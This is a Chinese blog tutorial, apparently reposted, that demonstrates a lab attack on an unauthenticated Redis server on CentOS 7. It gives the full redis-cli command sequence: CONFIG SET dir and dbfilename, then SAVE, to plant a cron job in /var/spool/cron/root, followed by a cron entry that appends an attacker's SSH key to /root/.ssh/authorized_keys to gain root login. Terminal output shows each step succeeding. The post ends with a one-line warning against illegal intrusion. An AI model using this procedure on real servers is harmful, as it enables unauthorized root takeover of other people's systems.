redis实战_Centos7 下 redis 入侵实战 root提权

6711fe2f58535e22a6a263fe35b9becf.gif

. 知识铺垫

Redis 还有几个奇怪的功能:Linux 有一个功能可以通过一个端口写到本地文件,如果我要写一个文件,而这个文件是木马,那就自动拉起了。如果写入自己签名的公钥,用自己的私钥解公钥,自己解自己的,所以直接替换公钥,就是通过 Redis。

那么下面来实战演练一下通过redis匿名登陆写入反弹shell

4a17557b39a479573e2e434406a80aff.png

. 环境准备

首先启动一个允许匿名登陆的redis服务器。

 1[root@server01 src]# ./redis-server &
2[1] 11173
3[root@server01 src]# 11173:C 06 Dec 2018 00:22:43.058 # oO0OoO0OoO0Oo Redis is starting oO0OoO0OoO0Oo
411173:C 06 Dec 2018 00:22:43.058 # Redis version=5.0.2, bits=64, commit=00000000, modified=0, pid=11173, just started
511173:C 06 Dec 2018 00:22:43.058 # Warning: no config file specified, using the default config. In order to specify a config file use ./redis-server /path/to/redis.conf
611173:M 06 Dec 2018 00:22:43.058 * Increased maximum number of open files to 10032 (it was originally set to 1024).
7                _._                                                  
8           _.-``__ ''-._                                             
9      _.-``    `.  `_.  ''-._           Redis 5.0.2 (00000000/0) 64 bit
10  .-`` .-```.  ```\/    _.,_ ''-._                                   
11 (    '      ,       .-`  | `,    )     Running in standalone mode12 |`-._`-...-` __...-.``-._|'` _.-'|     Port: 637913 |    `-._   `._    /     _.-'    |     PID: 1117314  `-._    `-._  `-./  _.-'    _.-'                                   
15 |`-._`-._    `-.__.-'    _.-'_.-'|                                  16 |    `-._`-._        _.-'_.-'    |           http://redis.io        17  `-._    `-._`-.__.-'_.-'    _.-'                                   18 |`-._`-._    `-.__.-'    _.-'_.-'|                                  
19 |    `-._`-._        _.-'_.-'    |                                  
20  `-._    `-._`-.__.-'_.-'    _.-'                                   21      `-._    `-.__.-'    _.-'                                       22          `-._        _.-'                                           23              `-.__.-'                                               
24
2511173:M 06 Dec 2018 00:22:43.058 # WARNING: The TCP backlog setting of 511 cannot be enforced because /proc/sys/net/core/somaxconn is set to the lower value of 128.
2611173:M 06 Dec 2018 00:22:43.058 # Server initialized
2711173:M 06 Dec 2018 00:22:43.058 # WARNING overcommit_memory is set to 0! Background save may fail under low memory condition. To fix this issue add 'vm.overcommit_memory = 1' to /etc/sysctl.conf and then reboot or run the command 'sysctl vm.overcommit_memory=1' for this to take effect.
2811173:M 06 Dec 2018 00:22:43.058 # WARNING you have Transparent Huge Pages (THP) support enabled in your kernel. This will create latency and memory usage issues with Redis. To fix this issue run the command 'echo never > /sys/kernel/mm/transparent_hugepage/enabled' as root, and add it to your /etc/rc.local in order to retain the setting after a reboot. Redis must be restarted after THP is disabled.
2911173:M 06 Dec 2018 00:22:43.058 * DB loaded from disk: 0.000 seconds
3011173:M 06 Dec 2018 00:22:43.058 * Ready to accept connections
31
32[root@server01 src]# 
33[root@server01 src]# ps -ef | grep redis
34root      11173   1217  0 00:22 pts/0    00:00:00 ./redis-server *:6379
35root      11178   1217  0 00:22 pts/0    00:00:00 grep --color=auto redis
36[root@server01 src]# 

假设通过端口扫描服务器存在6379的端口号,那么就可以尝试远程来访问一下这台redis服务器。

. 远程匿名访问redis服务

1[root@server01 src]# redis-cli -h 192.168.116.128 -p 6379
2192.168.116.128:6379> set 0 "\n\n*/1 * * * * echo yestest > /home/test.txt\n\n"
3(error) DENIED Redis is running in protected mode because protected mode is enabled, no bind address was specified, no authentication password is requested to clients. In this mode connections are only accepted from the loopback interface. If you want to connect from external computers to Redis you may adopt one of the following solutions: 1) Just disable protected mode sending the command 'CONFIG SET protected-mode no' from the loopback interface by connecting to Redis from the same host the server is running, however MAKE SURE Redis is not publicly accessible from internet if you do so. Use CONFIG REWRITE to make this change permanent. 2) Alternatively you can just disable the protected mode by editing the Redis configuration file, and setting the protected mode option to 'no', and then restarting the server. 3) If you started the server manually just for testing, restart it with the '--protected-mode no' option. 4) Setup a bind address or an authentication password. NOTE: You only need to do one of the above things in order for the server to start accepting connections from the outside.
4192.168.116.128:6379> 
d841f71f912d399de0903b26a0b1489b.png

那么下面再把这个保护模式关闭一下,继续实战测试一下。

. 关闭redis服务的保护模式

1[root@server01 redis-stable]# vim redis.conf 
2protected-mode no
9db57041d411bf0a8ae15ac02fb34616.png

重启redis服务:

1[root@server01 redis-stable]# cd src/
2[root@server01 src]# ./redis-server ../redis.conf 
311213:C 06 Dec 2018 00:35:07.781 # oO0OoO0OoO0Oo Redis is starting oO0OoO0OoO0Oo
411213:C 06 Dec 2018 00:35:07.781 # Redis version=5.0.2, bits=64, commit=00000000, modified=0, pid=11213, just started
511213:C 06 Dec 2018 00:35:07.781 # Configuration loaded
6[root@server01 src]# 
076ecc5890d973fcd7fe6e8d12f79375.png

. 再次入侵测试

 1[root@server01 src]# redis-cli -h 192.168.116.128 -p 6379
2192.168.116.128:6379> set 0 "\n\n*/1 * * * * echo yestest > /home/test.txt\n\n"
3OK
4192.168.116.128:6379> config set dir /var/spool/cron/
5OK
6192.168.116.128:6379> 
7192.168.116.128:6379> config set dbfilename root
8OK
9192.168.116.128:6379> save
10OK
11192.168.116.128:6379> 
81ef5b8b1b4572b9197ad779f62028ff.png

执行完毕之后,我们来看看服务器是不是写入了crontab定时脚本。

. 查看是否成功写入定时脚本

 1[root@server01 home]# cd /var/spool/cron/
2[root@server01 cron]# ls
3[root@server01 cron]# 
4[root@server01 cron]# crontabs
5-bash: crontabs: command not found
6[root@server01 cron]# ls
7root
8[root@server01 cron]# crontab -l
9REDIS0009    redis-ver5.0.2
10redis-bits????e:?used-mem¨
11aof-preamble~
12
13*/1 * * * * echo yestest > /home/test.txt
14
15?L?[root@server01 cron]# 
4728883d773ed9075a89a582a0900e4b.png

查看是否正常执行:

5d20abbc7d07e8398c95b57b2c1693bc.png

好了,这里已经写入了一个定时执行的脚本,完全可以写成一个shell进行执行。

那么下一步,入侵写入一个公钥,然后尝试能够使用公钥访问该台服务器。

. 入侵写入公钥,进行root提权

首先创建公钥文件目录

 1[root@server01 src]# redis-cli -h 192.168.116.128 -p 6379
2192.168.116.128:6379> set 0 "\n\n*/1 * * * * mkdir -p /root/.ssh \n\n"
3OK
4192.168.116.128:6379> config set dir /var/spool/cron/
5OK
6192.168.116.128:6379> config set dbfilename root
7OK
8192.168.116.128:6379> save
9OK
10192.168.116.128:6379> 
168f4d923ca61325134599d848485dd7.png
0f9d807b6316db55b06bf5911e7711cc.png

写入公钥文件

1192.168.116.128:6379> set 0 "\n\n*/1 * * * * echo 'ssh-rsa AAAAB3NzaC1yc2EAA...省略...3JjU=' >>  /root/.ssh/authorized_keys \n\n"
2OK
3192.168.116.128:6379> config set dir /var/spool/cron/
4OK
5192.168.116.128:6379> config set dbfilename root
6OK
7192.168.116.128:6379> save
8OK
9192.168.116.128:6379> 
9dee620858bf6850dfe93147d27385e4.png

查看执行情况:

b25479438b68a6f7335aaea30906ff66.png

尝试公钥登陆

a8d88ee029bf602defc03f868a1c8f4a.png
76b469fc7befedff88dbbeb680f129f3.png

已经成功登陆服务器的root权限。

安全系列的演练是为了提醒更好的预防,切忌进行非法入侵。

d9ed9e7bcb174701c3dbadb8221ddca7.png

3db147080fe745d63142279c354b0c21.gif

如果您觉得不错,请别忘了转发、分享、点赞让更多的人去学习, 您的举手之劳,就是对小编最好的支持,非常感谢!

ef39566c24b5abe57639cf60dec57bb0.gif 小编有话说

宁愿跑起来被拌倒无数次,也不愿规规矩矩走一辈子。就算跌倒也要豪迈的笑。

目前10000+人已关注加入我们

a921105dc0961a731a6127f2baf5fddf.gif b17b9618524559cf9fc6528fe98b3164.gif a1a18bcb4e8c3e44480a3d60ee299f1d.gif b758015b01b2f1e53dedd83120a4ff3a.gif 8624e6367e49d57fccb59925da8c7b7a.gif a386683270d36134cc45fe6be777ff0d.gif 5ac5c508f8977d2e09c48a7fc5860003.gif f79e686e189749c0279f142714c738f1.gif

40177e59711ce559bdc66263bf87e118.gif af952b5c1be32ec26ef86ebe0b6e2be2.gif b7c5f23945c83d432066ff040e0d97f7.gif 92ca0e0ddd07ed0280b9b735fabdd74e.gif 78a99f0726f9f417ff40e48ac0e20a78.gif 71e8a03f279e715fbdbdba14d3ebaffe.gif 3e07e9fbc893eb036977056d9ba088e0.gif 8624e6367e49d57fccb59925da8c7b7a.gif

关注公众号回复【资料】即可获得python、php、java、前端等视频资源

0c898adc46296a77ab0358faf95c3070.png

f74911f5d9d827bc5d51994baa39d2bc.gif

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值